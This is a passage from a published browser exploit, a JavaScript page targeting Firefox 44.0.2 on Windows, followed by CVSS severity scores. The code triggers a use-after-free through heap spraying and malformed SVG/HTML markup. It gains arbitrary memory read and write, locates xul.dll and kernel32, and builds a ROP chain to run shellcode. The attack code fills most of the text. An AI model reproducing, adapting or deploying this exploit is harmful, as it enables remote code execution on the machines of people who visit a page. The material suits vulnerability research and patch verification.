    dump("=> " + msg + "\n");
    console.log("=> " + msg);
}

let nodes;
let hijacked;
window.onload = function() {
    if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {
        throw new Error("unsupported user-agent");
    }

    const spray = new Spray();

    /*
     * spray nodes
     */
    let bruteforce = true;
    let addr = spray.getNextAddr(0);
    const href = window.location.href.split("?");
    if (href.length === 2) {
        const query = href[1].split("=");
        if (query[0] === "style") {
            bruteforce = false;
        }
        addr = parseInt(query[1]);
    }
    nodes = spray.nodes(addr, bruteforce);

    /*
     * spray node pointers and trigger the bug
     */
    document.body.innerHTML = "<svg><img id='AAAA'>";
    const pointers = spray.pointers();
    document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";

    /*
     * on to the next run...
     */
    if (bruteforce === true) {
        const style = spray.findStyleAddr(nodes);
        nodes = null;
        if (style) {
            window.location = href[0] + "?style=" + style;
        } else {
            window.location = href[0] + "?continue=" + spray.getNextAddr(addr);
        }
        return;
    }

    /*
     * reallocate the freed Uint32Array
     */
    hijacked = spray.findArray(nodes, spray.arrays());

    /*
     * setup helpers
     */
    const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);

    /* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]
     * contain the address of xul!PermanentAtomImpl::`vftable'.
     *
     * Note that the subtracted offset is specific to firefox 44.0.2.
     * However, since we can read arbitrary memory by this point, the
     * base of xul could easily (albeit perhaps somewhat slowly) be
     * located by searching for a PE signature */
    const xulBase = rwx.readDWord(addr) - 0x1c1f834;

    log("style found at 0x" + addr.toString(16));
    log("xul.dll found at 0x" + xulBase.toString(16));

    const xulPE = new PortableExecutable(xulBase, rwx);
    xulPE.read();
    const rop = new ROPHelper(xulPE, rwx);
    const kernel32 = new KERNEL32(rop, xulPE, rwx);
    const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");
    const kernel32PE = new PortableExecutable(kernel32handle, rwx);
    kernel32PE.read();
    const ntdll = new NTDLL(rop, kernel32PE, rwx);
    const icuuc55 = new ICUUC55(rop, xulPE, rwx);

    /*
     * execute shellcode
     */
    const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());
    const exec = icuuc55.alloc(stack, shellcode.length);
    const proc = xulPE.search("kernel32.dll", "GetProcAddress");
    rwx.writeString(exec, shellcode.join(""));
    rop.execute(exec, [kernel32handle, proc], true);
};
</script>
</head>
</html>

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P